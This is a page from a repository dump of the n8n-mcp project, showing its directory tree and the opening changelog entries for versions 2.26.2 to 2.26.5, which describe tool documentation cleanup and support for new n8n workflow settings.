This is page 66 of 67. Use http://codebase.md/czlonkowski/n8n-mcp?lines=true&page={x} to view the full context.
# Directory Structure
```
├── _config.yml
├── .claude
│ └── agents
│ ├── code-reviewer.md
│ ├── context-manager.md
│ ├── debugger.md
│ ├── deployment-engineer.md
│ ├── mcp-backend-engineer.md
│ ├── n8n-mcp-tester.md
│ ├── technical-researcher.md
│ └── test-automator.md
├── .dockerignore
├── .env.docker
├── .env.example
├── .env.n8n.example
├── .env.test
├── .env.test.example
├── .github
│ ├── ABOUT.md
│ ├── BENCHMARK_THRESHOLDS.md
│ ├── FUNDING.yml
│ ├── gh-pages.yml
│ ├── secret_scanning.yml
│ └── workflows
│ ├── benchmark-pr.yml
│ ├── benchmark.yml
│ ├── docker-build-fast.yml
│ ├── docker-build-n8n.yml
│ ├── docker-build.yml
│ ├── release.yml
│ ├── test.yml
│ └── update-n8n-deps.yml
├── .gitignore
├── .npmignore
├── ANALYSIS_QUICK_REFERENCE.md
├── ATTRIBUTION.md
├── CHANGELOG.md
├── CLAUDE.md
├── codecov.yml
├── coverage.json
├── data
│ ├── .gitkeep
│ ├── nodes.db
│ ├── nodes.db-shm
│ ├── nodes.db-wal
│ └── templates.db
├── deploy
│ └── quick-deploy-n8n.sh
├── docker
│ ├── docker-entrypoint.sh
│ ├── n8n-mcp
│ ├── parse-config.js
│ └── README.md
├── docker-compose.buildkit.yml
├── docker-compose.extract.yml
├── docker-compose.n8n.yml
├── docker-compose.override.yml.example
├── docker-compose.test-n8n.yml
├── docker-compose.yml
├── Dockerfile
├── Dockerfile.railway
├── Dockerfile.test
├── docs
│ ├── AUTOMATED_RELEASES.md
│ ├── BENCHMARKS.md
│ ├── CHANGELOG.md
│ ├── CI_TEST_INFRASTRUCTURE.md
│ ├── CLAUDE_CODE_SETUP.md
│ ├── CLAUDE_INTERVIEW.md
│ ├── CODECOV_SETUP.md
│ ├── CODEX_SETUP.md
│ ├── CURSOR_SETUP.md
│ ├── DEPENDENCY_UPDATES.md
│ ├── DOCKER_README.md
│ ├── DOCKER_TROUBLESHOOTING.md
│ ├── FINAL_AI_VALIDATION_SPEC.md
│ ├── FLEXIBLE_INSTANCE_CONFIGURATION.md
│ ├── HTTP_DEPLOYMENT.md
│ ├── img
│ │ ├── cc_command.png
│ │ ├── cc_connected.png
│ │ ├── codex_connected.png
│ │ ├── cursor_tut.png
│ │ ├── Railway_api.png
│ │ ├── Railway_server_address.png
│ │ ├── skills.png
│ │ ├── vsc_ghcp_chat_agent_mode.png
│ │ ├── vsc_ghcp_chat_instruction_files.png
│ │ ├── vsc_ghcp_chat_thinking_tool.png
│ │ └── windsurf_tut.png
│ ├── INSTALLATION.md
│ ├── LIBRARY_USAGE.md
│ ├── local
│ │ ├── DEEP_DIVE_ANALYSIS_2025-10-02.md
│ │ ├── DEEP_DIVE_ANALYSIS_README.md
│ │ ├── Deep_dive_p1_p2.md
│ │ ├── integration-testing-plan.md
│ │ ├── integration-tests-phase1-summary.md
│ │ ├── N8N_AI_WORKFLOW_BUILDER_ANALYSIS.md
│ │ ├── P0_IMPLEMENTATION_PLAN.md
│ │ └── TEMPLATE_MINING_ANALYSIS.md
│ ├── MCP_ESSENTIALS_README.md
│ ├── MCP_QUICK_START_GUIDE.md
│ ├── N8N_DEPLOYMENT.md
│ ├── RAILWAY_DEPLOYMENT.md
│ ├── README_CLAUDE_SETUP.md
│ ├── README.md
│ ├── SESSION_PERSISTENCE.md
│ ├── tools-documentation-usage.md
│ ├── TYPE_STRUCTURE_VALIDATION.md
│ ├── VS_CODE_PROJECT_SETUP.md
│ ├── WINDSURF_SETUP.md
│ └── workflow-diff-examples.md
├── examples
│ └── enhanced-documentation-demo.js
├── fetch_log.txt
├── LICENSE
├── MEMORY_N8N_UPDATE.md
├── MEMORY_TEMPLATE_UPDATE.md
├── monitor_fetch.sh
├── N8N_HTTP_STREAMABLE_SETUP.md
├── n8n-nodes.db
├── P0-R3-TEST-PLAN.md
├── package-lock.json
├── package.json
├── package.runtime.json
├── PRIVACY.md
├── railway.json
├── README_ANALYSIS.md
├── README.md
├── renovate.json
├── scripts
│ ├── analyze-optimization.sh
│ ├── audit-schema-coverage.ts
│ ├── backfill-mutation-hashes.ts
│ ├── build-optimized.sh
│ ├── compare-benchmarks.js
│ ├── demo-optimization.sh
│ ├── deploy-http.sh
│ ├── deploy-to-vm.sh
│ ├── export-webhook-workflows.ts
│ ├── extract-changelog.js
│ ├── extract-from-docker.js
│ ├── extract-nodes-docker.sh
│ ├── extract-nodes-simple.sh
│ ├── format-benchmark-results.js
│ ├── generate-benchmark-stub.js
│ ├── generate-detailed-reports.js
│ ├── generate-initial-release-notes.js
│ ├── generate-release-notes.js
│ ├── generate-test-summary.js
│ ├── http-bridge.js
│ ├── mcp-http-client.js
│ ├── migrate-nodes-fts.ts
│ ├── migrate-tool-docs.ts
│ ├── n8n-docs-mcp.service
│ ├── nginx-n8n-mcp.conf
│ ├── prebuild-fts5.ts
│ ├── prepare-release.js
│ ├── process-batch-metadata.ts
│ ├── publish-npm-quick.sh
│ ├── publish-npm.sh
│ ├── quick-test.ts
│ ├── run-benchmarks-ci.js
│ ├── sync-runtime-version.js
│ ├── test-ai-validation-debug.ts
│ ├── test-code-node-enhancements.ts
│ ├── test-code-node-fixes.ts
│ ├── test-docker-config.sh
│ ├── test-docker-fingerprint.ts
│ ├── test-docker-optimization.sh
│ ├── test-docker.sh
│ ├── test-empty-connection-validation.ts
│ ├── test-error-message-tracking.ts
│ ├── test-error-output-validation.ts
│ ├── test-error-validation.js
│ ├── test-essentials.ts
│ ├── test-expression-code-validation.ts
│ ├── test-expression-format-validation.js
│ ├── test-fts5-search.ts
│ ├── test-fuzzy-fix.ts
│ ├── test-fuzzy-simple.ts
│ ├── test-helpers-validation.ts
│ ├── test-http-search.ts
│ ├── test-http.sh
│ ├── test-jmespath-validation.ts
│ ├── test-multi-tenant-simple.ts
│ ├── test-multi-tenant.ts
│ ├── test-n8n-integration.sh
│ ├── test-node-info.js
│ ├── test-node-type-validation.ts
│ ├── test-nodes-base-prefix.ts
│ ├── test-operation-validation.ts
│ ├── test-optimized-docker.sh
│ ├── test-release-automation.js
│ ├── test-search-improvements.ts
│ ├── test-security.ts
│ ├── test-single-session.sh
│ ├── test-sqljs-triggers.ts
│ ├── test-structure-validation.ts
│ ├── test-telemetry-debug.ts
│ ├── test-telemetry-direct.ts
│ ├── test-telemetry-env.ts
│ ├── test-telemetry-integration.ts
│ ├── test-telemetry-no-select.ts
│ ├── test-telemetry-security.ts
│ ├── test-telemetry-simple.ts
│ ├── test-typeversion-validation.ts
│ ├── test-url-configuration.ts
│ ├── test-user-id-persistence.ts
│ ├── test-webhook-validation.ts
│ ├── test-workflow-insert.ts
│ ├── test-workflow-sanitizer.ts
│ ├── test-workflow-tracking-debug.ts
│ ├── test-workflow-versioning.ts
│ ├── update-and-publish-prep.sh
│ ├── update-n8n-deps.js
│ ├── update-readme-version.js
│ ├── vitest-benchmark-json-reporter.js
│ └── vitest-benchmark-reporter.ts
├── SECURITY.md
├── src
│ ├── config
│ │ └── n8n-api.ts
│ ├── constants
│ │ └── type-structures.ts
│ ├── data
│ │ └── canonical-ai-tool-examples.json
│ ├── database
│ │ ├── database-adapter.ts
│ │ ├── migrations
│ │ │ └── add-template-node-configs.sql
│ │ ├── node-repository.ts
│ │ ├── nodes.db
│ │ ├── schema-optimized.sql
│ │ └── schema.sql
│ ├── errors
│ │ └── validation-service-error.ts
│ ├── http-server-single-session.ts
│ ├── http-server.ts
│ ├── index.ts
│ ├── loaders
│ │ └── node-loader.ts
│ ├── mappers
│ │ └── docs-mapper.ts
│ ├── mcp
│ │ ├── handlers-n8n-manager.ts
│ │ ├── handlers-workflow-diff.ts
│ │ ├── index.ts
│ │ ├── server.ts
│ │ ├── stdio-wrapper.ts
│ │ ├── tool-docs
│ │ │ ├── configuration
│ │ │ │ ├── get-node.ts
│ │ │ │ └── index.ts
│ │ │ ├── discovery
│ │ │ │ ├── index.ts
│ │ │ │ └── search-nodes.ts
│ │ │ ├── guides
│ │ │ │ ├── ai-agents-guide.ts
│ │ │ │ └── index.ts
│ │ │ ├── index.ts
│ │ │ ├── system
│ │ │ │ ├── index.ts
│ │ │ │ ├── n8n-diagnostic.ts
│ │ │ │ ├── n8n-health-check.ts
│ │ │ │ ├── n8n-list-available-tools.ts
│ │ │ │ └── tools-documentation.ts
│ │ │ ├── templates
│ │ │ │ ├── get-template.ts
│ │ │ │ ├── index.ts
│ │ │ │ └── search-templates.ts
│ │ │ ├── types.ts
│ │ │ ├── validation
│ │ │ │ ├── index.ts
│ │ │ │ ├── validate-node.ts
│ │ │ │ └── validate-workflow.ts
│ │ │ └── workflow_management
│ │ │ ├── index.ts
│ │ │ ├── n8n-autofix-workflow.ts
│ │ │ ├── n8n-create-workflow.ts
│ │ │ ├── n8n-delete-workflow.ts
│ │ │ ├── n8n-executions.ts
│ │ │ ├── n8n-get-workflow.ts
│ │ │ ├── n8n-list-workflows.ts
│ │ │ ├── n8n-trigger-webhook-workflow.ts
│ │ │ ├── n8n-update-full-workflow.ts
│ │ │ ├── n8n-update-partial-workflow.ts
│ │ │ ├── n8n-validate-workflow.ts
│ │ │ └── n8n-workflow-versions.ts
│ │ ├── tools-documentation.ts
│ │ ├── tools-n8n-friendly.ts
│ │ ├── tools-n8n-manager.ts
│ │ ├── tools.ts
│ │ └── workflow-examples.ts
│ ├── mcp-engine.ts
│ ├── mcp-tools-engine.ts
│ ├── n8n
│ │ ├── MCPApi.credentials.ts
│ │ └── MCPNode.node.ts
│ ├── parsers
│ │ ├── node-parser.ts
│ │ ├── property-extractor.ts
│ │ └── simple-parser.ts
│ ├── scripts
│ │ ├── debug-http-search.ts
│ │ ├── extract-from-docker.ts
│ │ ├── fetch-templates-robust.ts
│ │ ├── fetch-templates.ts
│ │ ├── rebuild-database.ts
│ │ ├── rebuild-optimized.ts
│ │ ├── rebuild.ts
│ │ ├── sanitize-templates.ts
│ │ ├── seed-canonical-ai-examples.ts
│ │ ├── test-autofix-documentation.ts
│ │ ├── test-autofix-workflow.ts
│ │ ├── test-execution-filtering.ts
│ │ ├── test-node-suggestions.ts
│ │ ├── test-protocol-negotiation.ts
│ │ ├── test-summary.ts
│ │ ├── test-telemetry-mutations-verbose.ts
│ │ ├── test-telemetry-mutations.ts
│ │ ├── test-webhook-autofix.ts
│ │ ├── validate.ts
│ │ └── validation-summary.ts
│ ├── services
│ │ ├── ai-node-validator.ts
│ │ ├── ai-tool-validators.ts
│ │ ├── breaking-change-detector.ts
│ │ ├── breaking-changes-registry.ts
│ │ ├── confidence-scorer.ts
│ │ ├── config-validator.ts
│ │ ├── enhanced-config-validator.ts
│ │ ├── example-generator.ts
│ │ ├── execution-processor.ts
│ │ ├── expression-format-validator.ts
│ │ ├── expression-validator.ts
│ │ ├── n8n-api-client.ts
│ │ ├── n8n-validation.ts
│ │ ├── node-documentation-service.ts
│ │ ├── node-migration-service.ts
│ │ ├── node-sanitizer.ts
│ │ ├── node-similarity-service.ts
│ │ ├── node-specific-validators.ts
│ │ ├── node-version-service.ts
│ │ ├── operation-similarity-service.ts
│ │ ├── post-update-validator.ts
│ │ ├── property-dependencies.ts
│ │ ├── property-filter.ts
│ │ ├── resource-similarity-service.ts
│ │ ├── sqlite-storage-service.ts
│ │ ├── task-templates.ts
│ │ ├── type-structure-service.ts
│ │ ├── universal-expression-validator.ts
│ │ ├── workflow-auto-fixer.ts
│ │ ├── workflow-diff-engine.ts
│ │ ├── workflow-validator.ts
│ │ └── workflow-versioning-service.ts
│ ├── telemetry
│ │ ├── batch-processor.ts
│ │ ├── config-manager.ts
│ │ ├── early-error-logger.ts
│ │ ├── error-sanitization-utils.ts
│ │ ├── error-sanitizer.ts
│ │ ├── event-tracker.ts
│ │ ├── event-validator.ts
│ │ ├── index.ts
│ │ ├── intent-classifier.ts
│ │ ├── intent-sanitizer.ts
│ │ ├── mutation-tracker.ts
│ │ ├── mutation-types.ts
│ │ ├── mutation-validator.ts
│ │ ├── performance-monitor.ts
│ │ ├── rate-limiter.ts
│ │ ├── startup-checkpoints.ts
│ │ ├── telemetry-error.ts
│ │ ├── telemetry-manager.ts
│ │ ├── telemetry-types.ts
│ │ └── workflow-sanitizer.ts
│ ├── templates
│ │ ├── batch-processor.ts
│ │ ├── metadata-generator.ts
│ │ ├── README.md
│ │ ├── template-fetcher.ts
│ │ ├── template-repository.ts
│ │ └── template-service.ts
│ ├── types
│ │ ├── index.ts
│ │ ├── instance-context.ts
│ │ ├── n8n-api.ts
│ │ ├── node-types.ts
│ │ ├── session-state.ts
│ │ ├── type-structures.ts
│ │ └── workflow-diff.ts
│ └── utils
│ ├── auth.ts
│ ├── bridge.ts
│ ├── cache-utils.ts
│ ├── console-manager.ts
│ ├── documentation-fetcher.ts
│ ├── enhanced-documentation-fetcher.ts
│ ├── error-handler.ts
│ ├── example-generator.ts
│ ├── expression-utils.ts
│ ├── fixed-collection-validator.ts
│ ├── logger.ts
│ ├── mcp-client.ts
│ ├── n8n-errors.ts
│ ├── node-classification.ts
│ ├── node-source-extractor.ts
│ ├── node-type-normalizer.ts
│ ├── node-type-utils.ts
│ ├── node-utils.ts
│ ├── npm-version-checker.ts
│ ├── protocol-version.ts
│ ├── simple-cache.ts
│ ├── ssrf-protection.ts
│ ├── template-node-resolver.ts
│ ├── template-sanitizer.ts
│ ├── url-detector.ts
│ ├── validation-schemas.ts
│ └── version.ts
├── test-output.txt
├── test-reinit-fix.sh
├── tests
│ ├── __snapshots__
│ │ └── .gitkeep
│ ├── auth.test.ts
│ ├── benchmarks
│ │ ├── database-queries.bench.ts
│ │ ├── index.ts
│ │ ├── mcp-tools.bench.ts
│ │ ├── mcp-tools.bench.ts.disabled
│ │ ├── mcp-tools.bench.ts.skip
│ │ ├── node-loading.bench.ts.disabled
│ │ ├── README.md
│ │ ├── search-operations.bench.ts.disabled
│ │ └── validation-performance.bench.ts.disabled
│ ├── bridge.test.ts
│ ├── comprehensive-extraction-test.js
│ ├── data
│ │ └── .gitkeep
│ ├── debug-slack-doc.js
│ ├── demo-enhanced-documentation.js
│ ├── docker-tests-README.md
│ ├── error-handler.test.ts
│ ├── examples
│ │ └── using-database-utils.test.ts
│ ├── extracted-nodes-db
│ │ ├── database-import.json
│ │ ├── extraction-report.json
│ │ ├── insert-nodes.sql
│ │ ├── n8n-nodes-base__Airtable.json
│ │ ├── n8n-nodes-base__Discord.json
│ │ ├── n8n-nodes-base__Function.json
│ │ ├── n8n-nodes-base__HttpRequest.json
│ │ ├── n8n-nodes-base__If.json
│ │ ├── n8n-nodes-base__Slack.json
│ │ ├── n8n-nodes-base__SplitInBatches.json
│ │ └── n8n-nodes-base__Webhook.json
│ ├── factories
│ │ ├── node-factory.ts
│ │ └── property-definition-factory.ts
│ ├── fixtures
│ │ ├── .gitkeep
│ │ ├── database
│ │ │ └── test-nodes.json
│ │ ├── factories
│ │ │ ├── node.factory.ts
│ │ │ └── parser-node.factory.ts
│ │ └── template-configs.ts
│ ├── helpers
│ │ └── env-helpers.ts
│ ├── http-server-auth.test.ts
│ ├── integration
│ │ ├── ai-validation
│ │ │ ├── ai-agent-validation.test.ts
│ │ │ ├── ai-tool-validation.test.ts
│ │ │ ├── chat-trigger-validation.test.ts
│ │ │ ├── e2e-validation.test.ts
│ │ │ ├── helpers.ts
│ │ │ ├── llm-chain-validation.test.ts
│ │ │ ├── README.md
│ │ │ └── TEST_REPORT.md
│ │ ├── ci
│ │ │ └── database-population.test.ts
│ │ ├── database
│ │ │ ├── connection-management.test.ts
│ │ │ ├── empty-database.test.ts
│ │ │ ├── fts5-search.test.ts
│ │ │ ├── node-fts5-search.test.ts
│ │ │ ├── node-repository.test.ts
│ │ │ ├── performance.test.ts
│ │ │ ├── sqljs-memory-leak.test.ts
│ │ │ ├── template-node-configs.test.ts
│ │ │ ├── template-repository.test.ts
│ │ │ ├── test-utils.ts
│ │ │ └── transactions.test.ts
│ │ ├── database-integration.test.ts
│ │ ├── docker
│ │ │ ├── docker-config.test.ts
│ │ │ ├── docker-entrypoint.test.ts
│ │ │ └── test-helpers.ts
│ │ ├── flexible-instance-config.test.ts
│ │ ├── mcp
│ │ │ └── template-examples-e2e.test.ts
│ │ ├── mcp-protocol
│ │ │ ├── basic-connection.test.ts
│ │ │ ├── error-handling.test.ts
│ │ │ ├── performance.test.ts
│ │ │ ├── protocol-compliance.test.ts
│ │ │ ├── README.md
│ │ │ ├── session-management.test.ts
│ │ │ ├── test-helpers.ts
│ │ │ ├── tool-invocation.test.ts
│ │ │ └── workflow-error-validation.test.ts
│ │ ├── msw-setup.test.ts
│ │ ├── n8n-api
│ │ │ ├── executions
│ │ │ │ ├── delete-execution.test.ts
│ │ │ │ ├── get-execution.test.ts
│ │ │ │ ├── list-executions.test.ts
│ │ │ │ └── trigger-webhook.test.ts
│ │ │ ├── scripts
│ │ │ │ └── cleanup-orphans.ts
│ │ │ ├── system
│ │ │ │ ├── diagnostic.test.ts
│ │ │ │ └── health-check.test.ts
│ │ │ ├── test-connection.ts
│ │ │ ├── types
│ │ │ │ └── mcp-responses.ts
│ │ │ ├── utils
│ │ │ │ ├── cleanup-helpers.ts
│ │ │ │ ├── credentials.ts
│ │ │ │ ├── factories.ts
│ │ │ │ ├── fixtures.ts
│ │ │ │ ├── mcp-context.ts
│ │ │ │ ├── n8n-client.ts
│ │ │ │ ├── node-repository.ts
│ │ │ │ ├── response-types.ts
│ │ │ │ ├── test-context.ts
│ │ │ │ └── webhook-workflows.ts
│ │ │ └── workflows
│ │ │ ├── autofix-workflow.test.ts
│ │ │ ├── create-workflow.test.ts
│ │ │ ├── delete-workflow.test.ts
│ │ │ ├── get-workflow-details.test.ts
│ │ │ ├── get-workflow-minimal.test.ts
│ │ │ ├── get-workflow-structure.test.ts
│ │ │ ├── get-workflow.test.ts
│ │ │ ├── list-workflows.test.ts
│ │ │ ├── smart-parameters.test.ts
│ │ │ ├── update-partial-workflow.test.ts
│ │ │ ├── update-workflow.test.ts
│ │ │ └── validate-workflow.test.ts
│ │ ├── security
│ │ │ ├── command-injection-prevention.test.ts
│ │ │ └── rate-limiting.test.ts
│ │ ├── setup
│ │ │ ├── integration-setup.ts
│ │ │ └── msw-test-server.ts
│ │ ├── telemetry
│ │ │ ├── docker-user-id-stability.test.ts
│ │ │ └── mcp-telemetry.test.ts
│ │ ├── templates
│ │ │ └── metadata-operations.test.ts
│ │ ├── validation
│ │ │ └── real-world-structure-validation.test.ts
│ │ ├── workflow-creation-node-type-format.test.ts
│ │ └── workflow-diff
│ │ ├── ai-node-connection-validation.test.ts
│ │ └── node-rename-integration.test.ts
│ ├── logger.test.ts
│ ├── MOCKING_STRATEGY.md
│ ├── mocks
│ │ ├── n8n-api
│ │ │ ├── data
│ │ │ │ ├── credentials.ts
│ │ │ │ ├── executions.ts
│ │ │ │ └── workflows.ts
│ │ │ ├── handlers.ts
│ │ │ └── index.ts
│ │ └── README.md
│ ├── node-storage-export.json
│ ├── setup
│ │ ├── global-setup.ts
│ │ ├── msw-setup.ts
│ │ ├── TEST_ENV_DOCUMENTATION.md
│ │ └── test-env.ts
│ ├── test-database-extraction.js
│ ├── test-direct-extraction.js
│ ├── test-enhanced-documentation.js
│ ├── test-enhanced-integration.js
│ ├── test-mcp-extraction.js
│ ├── test-mcp-server-extraction.js
│ ├── test-mcp-tools-integration.js
│ ├── test-node-documentation-service.js
│ ├── test-node-list.js
│ ├── test-package-info.js
│ ├── test-parsing-operations.js
│ ├── test-slack-node-complete.js
│ ├── test-small-rebuild.js
│ ├── test-sqlite-search.js
│ ├── test-storage-system.js
│ ├── unit
│ │ ├── __mocks__
│ │ │ ├── n8n-nodes-base.test.ts
│ │ │ ├── n8n-nodes-base.ts
│ │ │ └── README.md
│ │ ├── constants
│ │ │ └── type-structures.test.ts
│ │ ├── database
│ │ │ ├── __mocks__
│ │ │ │ └── better-sqlite3.ts
│ │ │ ├── database-adapter-unit.test.ts
│ │ │ ├── node-repository-core.test.ts
│ │ │ ├── node-repository-operations.test.ts
│ │ │ ├── node-repository-outputs.test.ts
│ │ │ ├── README.md
│ │ │ └── template-repository-core.test.ts
│ │ ├── docker
│ │ │ ├── config-security.test.ts
│ │ │ ├── edge-cases.test.ts
│ │ │ ├── parse-config.test.ts
│ │ │ └── serve-command.test.ts
│ │ ├── errors
│ │ │ └── validation-service-error.test.ts
│ │ ├── examples
│ │ │ └── using-n8n-nodes-base-mock.test.ts
│ │ ├── flexible-instance-security-advanced.test.ts
│ │ ├── flexible-instance-security.test.ts
│ │ ├── http-server
│ │ │ ├── multi-tenant-support.test.ts
│ │ │ └── session-persistence.test.ts
│ │ ├── http-server-n8n-mode.test.ts
│ │ ├── http-server-n8n-reinit.test.ts
│ │ ├── http-server-session-management.test.ts
│ │ ├── loaders
│ │ │ └── node-loader.test.ts
│ │ ├── mappers
│ │ │ └── docs-mapper.test.ts
│ │ ├── mcp
│ │ │ ├── disabled-tools-additional.test.ts
│ │ │ ├── disabled-tools.test.ts
│ │ │ ├── get-node-essentials-examples.test.ts
│ │ │ ├── get-node-unified.test.ts
│ │ │ ├── handlers-n8n-manager-simple.test.ts
│ │ │ ├── handlers-n8n-manager.test.ts
│ │ │ ├── handlers-workflow-diff.test.ts
│ │ │ ├── lru-cache-behavior.test.ts
│ │ │ ├── multi-tenant-tool-listing.test.ts.disabled
│ │ │ ├── parameter-validation.test.ts
│ │ │ ├── search-nodes-examples.test.ts
│ │ │ ├── tools-documentation.test.ts
│ │ │ └── tools.test.ts
│ │ ├── mcp-engine
│ │ │ └── session-persistence.test.ts
│ │ ├── monitoring
│ │ │ └── cache-metrics.test.ts
│ │ ├── MULTI_TENANT_TEST_COVERAGE.md
│ │ ├── multi-tenant-integration.test.ts
│ │ ├── parsers
│ │ │ ├── node-parser-outputs.test.ts
│ │ │ ├── node-parser.test.ts
│ │ │ ├── property-extractor.test.ts
│ │ │ └── simple-parser.test.ts
│ │ ├── scripts
│ │ │ └── fetch-templates-extraction.test.ts
│ │ ├── services
│ │ │ ├── ai-node-validator.test.ts
│ │ │ ├── ai-tool-validators.test.ts
│ │ │ ├── breaking-change-detector.test.ts
│ │ │ ├── confidence-scorer.test.ts
│ │ │ ├── config-validator-basic.test.ts
│ │ │ ├── config-validator-edge-cases.test.ts
│ │ │ ├── config-validator-node-specific.test.ts
│ │ │ ├── config-validator-security.test.ts
│ │ │ ├── debug-validator.test.ts
│ │ │ ├── enhanced-config-validator-integration.test.ts
│ │ │ ├── enhanced-config-validator-operations.test.ts
│ │ │ ├── enhanced-config-validator-type-structures.test.ts
│ │ │ ├── enhanced-config-validator.test.ts
│ │ │ ├── example-generator.test.ts
│ │ │ ├── execution-processor.test.ts
│ │ │ ├── expression-format-validator.test.ts
│ │ │ ├── expression-validator-edge-cases.test.ts
│ │ │ ├── expression-validator.test.ts
│ │ │ ├── fixed-collection-validation.test.ts
│ │ │ ├── loop-output-edge-cases.test.ts
│ │ │ ├── n8n-api-client.test.ts
│ │ │ ├── n8n-validation-sticky-notes.test.ts
│ │ │ ├── n8n-validation.test.ts
│ │ │ ├── node-migration-service.test.ts
│ │ │ ├── node-sanitizer.test.ts
│ │ │ ├── node-similarity-service.test.ts
│ │ │ ├── node-specific-validators.test.ts
│ │ │ ├── node-version-service.test.ts
│ │ │ ├── operation-similarity-service-comprehensive.test.ts
│ │ │ ├── operation-similarity-service.test.ts
│ │ │ ├── post-update-validator.test.ts
│ │ │ ├── property-dependencies.test.ts
│ │ │ ├── property-filter-edge-cases.test.ts
│ │ │ ├── property-filter.test.ts
│ │ │ ├── resource-similarity-service-comprehensive.test.ts
│ │ │ ├── resource-similarity-service.test.ts
│ │ │ ├── task-templates.test.ts
│ │ │ ├── template-service.test.ts
│ │ │ ├── type-structure-service.test.ts
│ │ │ ├── universal-expression-validator.test.ts
│ │ │ ├── validation-fixes.test.ts
│ │ │ ├── workflow-auto-fixer.test.ts
│ │ │ ├── workflow-diff-engine.test.ts
│ │ │ ├── workflow-diff-node-rename.test.ts
│ │ │ ├── workflow-fixed-collection-validation.test.ts
│ │ │ ├── workflow-validator-comprehensive.test.ts
│ │ │ ├── workflow-validator-edge-cases.test.ts
│ │ │ ├── workflow-validator-error-outputs.test.ts
│ │ │ ├── workflow-validator-expression-format.test.ts
│ │ │ ├── workflow-validator-loops-simple.test.ts
│ │ │ ├── workflow-validator-loops.test.ts
│ │ │ ├── workflow-validator-mocks.test.ts
│ │ │ ├── workflow-validator-performance.test.ts
│ │ │ ├── workflow-validator-with-mocks.test.ts
│ │ │ ├── workflow-validator.test.ts
│ │ │ └── workflow-versioning-service.test.ts
│ │ ├── telemetry
│ │ │ ├── batch-processor.test.ts
│ │ │ ├── config-manager.test.ts
│ │ │ ├── event-tracker.test.ts
│ │ │ ├── event-validator.test.ts
│ │ │ ├── mutation-tracker.test.ts
│ │ │ ├── mutation-validator.test.ts
│ │ │ ├── rate-limiter.test.ts
│ │ │ ├── telemetry-error.test.ts
│ │ │ ├── telemetry-manager.test.ts
│ │ │ ├── v2.18.3-fixes-verification.test.ts
│ │ │ └── workflow-sanitizer.test.ts
│ │ ├── templates
│ │ │ ├── batch-processor.test.ts
│ │ │ ├── metadata-generator.test.ts
│ │ │ ├── template-repository-metadata.test.ts
│ │ │ └── template-repository-security.test.ts
│ │ ├── test-env-example.test.ts
│ │ ├── test-infrastructure.test.ts
│ │ ├── types
│ │ │ ├── instance-context-coverage.test.ts
│ │ │ ├── instance-context-multi-tenant.test.ts
│ │ │ └── type-structures.test.ts
│ │ ├── utils
│ │ │ ├── auth-timing-safe.test.ts
│ │ │ ├── cache-utils.test.ts
│ │ │ ├── console-manager.test.ts
│ │ │ ├── database-utils.test.ts
│ │ │ ├── expression-utils.test.ts
│ │ │ ├── fixed-collection-validator.test.ts
│ │ │ ├── n8n-errors.test.ts
│ │ │ ├── node-classification.test.ts
│ │ │ ├── node-type-normalizer.test.ts
│ │ │ ├── node-type-utils.test.ts
│ │ │ ├── node-utils.test.ts
│ │ │ ├── simple-cache-memory-leak-fix.test.ts
│ │ │ ├── ssrf-protection.test.ts
│ │ │ └── template-node-resolver.test.ts
│ │ └── validation-fixes.test.ts
│ └── utils
│ ├── assertions.ts
│ ├── builders
│ │ └── workflow.builder.ts
│ ├── data-generators.ts
│ ├── database-utils.ts
│ ├── README.md
│ └── test-helpers.ts
├── thumbnail.png
├── tsconfig.build.json
├── tsconfig.json
├── types
│ ├── mcp.d.ts
│ └── test-env.d.ts
├── versioned-nodes.md
├── vitest.config.benchmark.ts
├── vitest.config.integration.ts
└── vitest.config.ts
```
# Files
--------------------------------------------------------------------------------
/CHANGELOG.md:
--------------------------------------------------------------------------------
```markdown
1 | # Changelog
2 |
3 | All notable changes to this project will be documented in this file.
4 |
5 | The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
6 | and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
7 |
8 | ## [Unreleased]
9 |
10 | ## [2.26.5] - 2025-11-27
11 |
12 | ### 🔧 Fixed
13 |
14 | - **Tools Documentation: Runtime Token Optimization**
15 | - Removed historical migration information from tool descriptions (e.g., "Replaces X, Y, Z...")
16 | - Removed version-specific references (v2.21.1, issue #357) that are not needed at runtime
17 | - Cleaned up consolidation comments in index.ts
18 | - Documentation now starts directly with functional content for better AI agent efficiency
19 | - Estimated savings: ~128 tokens per full documentation request
20 | - Affected tools: `get_node`, `validate_node`, `search_templates`, `n8n_executions`, `n8n_get_workflow`, `n8n_update_partial_workflow`
21 |
22 | **Conceived by Romuald Członkowski - [AiAdvisors](https://www.aiadvisors.pl/en)**
23 |
24 | ## [2.26.4] - 2025-11-26
25 |
26 | ### 🔧 Fixed
27 |
28 | - **n8n 1.121 Compatibility**: Added support for new workflow settings introduced in n8n 1.121
29 | - Added `availableInMCP` (boolean) to settings whitelist - controls "Available in MCP" toggle
30 | - Added `callerPolicy` to settings whitelist - was already in schema but missing from sanitization
31 | - Both settings are now preserved during workflow updates instead of being silently stripped
32 | - Settings can be toggled via `updateSettings` operation: `{type: "updateSettings", settings: {availableInMCP: true}}`
33 |
34 | **Conceived by Romuald Członkowski - [AiAdvisors](https://www.aiadvisors.pl/en)**
35 |
36 | ## [2.26.3] - 2025-11-26
37 |
38 | ### 🔧 Fixed
39 |
40 | - **Tools Documentation Gaps**: Addressed remaining documentation issues after v2.26.2 tool consolidation
41 | - Added missing `n8n_workflow_versions` documentation with all 6 modes (list, get, rollback, delete, prune, truncate)
42 | - Removed non-existent tools (`n8n_diagnostic`, `n8n_list_available_tools`) from documentation exports
43 | - Fixed 10+ outdated tool name references:
44 | - `get_node_essentials` → `get_node({detail: "standard"})`
45 | - `validate_node_operation` → `validate_node()`
46 | - `get_minimal` → `n8n_get_workflow({mode: "minimal"})`
47 | - Added missing `mode` and `verbose` parameters to `n8n_health_check` documentation
48 | - Added missing `mode` parameter to `get_template` documentation (nodes_only, structure, full)
49 | - Updated template count from "399+" to "2,700+" in `get_template`
50 | - Updated node count from "525" to "500+" in `search_nodes`
51 | - Fixed `relatedTools` arrays to remove references to non-existent tools
52 |
53 | **Conceived by Romuald Członkowski - [AiAdvisors](https://www.aiadvisors.pl/en)**
54 |
55 | ## [2.26.2] - 2025-11-25
56 |
57 | ### 🔧 Fixed
58 |
59 | - **Tool Documentation Cleanup**: Synchronized `tool-docs/` with v2.26.0 tool consolidation
60 | - Deleted 23 obsolete documentation files for removed tools (get_node_info, get_node_essentials, validate_node_operation, etc.)
61 | - Created consolidated documentation for `get_node` (covers all modes: info, docs, search_properties, versions, compare, breaking, migrations)
